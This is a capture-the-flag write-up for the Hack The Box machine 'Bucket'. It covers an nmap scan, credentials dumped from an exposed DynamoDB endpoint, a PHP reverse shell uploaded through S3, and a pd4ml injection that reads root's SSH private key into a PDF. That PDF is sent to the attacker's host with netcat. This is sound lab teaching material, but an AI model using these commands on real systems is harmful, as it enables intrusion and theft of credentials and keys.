bucket — htb writeup · chu@antisec

● nmap

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=1/4%OT=22%CT=1%CU=36786%PV=Y%DS=2%DC=T%G=Y%TM=5FF34D45
OS:%P=i686-pc-windows-windows)SEQ(SP=FD%GCD=1%ISR=104%TI=Z%CI=Z%II=I%TS=A)O
OS:PS(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DS
OS:T11NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)E
OS:CN(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F
OS:=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5
OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z
OS:%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=
OS:N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%
OS:CD=S)

Uptime guess: 41.328 days (since Tue Nov 24 06:23:01 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=253 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 53/tcp)
HOP RTT       ADDRESS
1   190.00 ms 10.10.14.1
2   192.00 ms bucket.htb (10.10.10.212)

Accessing port 80, we get redirected to the domain: bucket.htb So let's add it to the hosts file

● cmd

echo 'bucket.htb  10.10.10.212' >> /etc/hosts

After that we can access the web page; after some testing, no other directories or files could be found.

Looking at the source code, we can see we have a subdomain (s3):

● url

http://s3.bucket.htb/

Let's try to find directories on it with wfuzz:

We can find 2 directories:

● dirs

health
shell

Accessing the shell directory, we can spot the 'DynamoDB' service.

To interact with this service, we'll use AWS's own tool, known as aws-cli

After a few hours reading docs, we finally have the right command to interact:

● cmd

aws dynamodb list-tables --endpoint-url http://s3.bucket.htb/

and b00m, we have the name of the table running there :D Let's see if we can get credentials;

● cmd

aws dynamodb scan --table-name users --endpoint-url http://s3.bucket.htb/

We have credentials :D

● creds

Mgmt:Management@#1@#
Cloudadm:Welcome123!
Sysadm:n2vM-<_K_Q:.Aa2

Trying to validate them via SSH, no login worked

Listing files and directories:

● cmd

aws --endpoint-url http://s3.bucket.htb/ s3 ls

After that, we try uploading a reverse shell to the server. In our case we'll use the shell from 'Pentest Monkeys'

● cmd

aws --endpoint-url http://s3.bucket.htb/ s3 cp ./chu.php s3://adserver

Then we use curl to call our file with the shell

● cmd

curl http://bucket.htb/chu.php

w00t we have a shell as www-data, let's try to upgrade our shell with python

● cmd

python3 -c 'import pty;pty.spawn("/bin/bash")'

With that, we have an interactive shell and we find a new user called 'Roy' So we can test the passwords we got earlier against this user.

aaand theeen:

Now let's upgrade our shell by logging in via SSH as user 'Roy'

After analyzing what was running on the machine, we can see that the file '/var/www/bucket-app/index.php' creates a table and writes a file when it gets the right request.

So, let's try creating that table manually.

● cmd

aws dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S --key-schema AttributeName=title,KeyType=HASH --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5 --endpoint-url=http://s3.bucket.htb

Now that the table is created, let's write the file we want.

● cmd

aws dynamodb put-item --table-name alerts --item '{"title": {"S": "Ransomware"}, "data": {"S": "<pd4ml:attachment description=\"attached.txt\" icon=\"PushPin\">file:///root/.ssh/id_rsa</pd4ml:attachment>"}}' --endpoint-url=http://s3.bucket.htb

We can validate that it was created and written correctly.

● cmd

aws dynamodb scan --table-name alerts --endpoint-url http://s3.bucket.htb/

We need to forward in order to send the request, so

● cmd

ssh -L 8000:127.0.0.1:8000 roy@10.10.10.212

Now we can make our request.

● cmd

curl -X POST -d "action=get_alerts" http://127.0.0.1:8000/ -v

The file is now created at /var/www/bucket-app/files/result.pdf

● cmd

nc -vvn 10.10.14.218 443 < result.pdf

Now we transfer the PDF file containing the file we inserted into the table to our machine, using netcat.

● cmd

nc -vnlp 443 > result.pdf

After downloading the file to our machine, we can open it as a PDF, and there it is, our file (id_rsa)

And then, we save the file on our machine with permission 600 and we can log in as root!

● cmd

chmod 600 id_rsa
ssh root@bucket.htb -i id_rsa

if i helped you, add + respect at my profile :D

chu@antisec:~/htb$ cat bucket.md

my references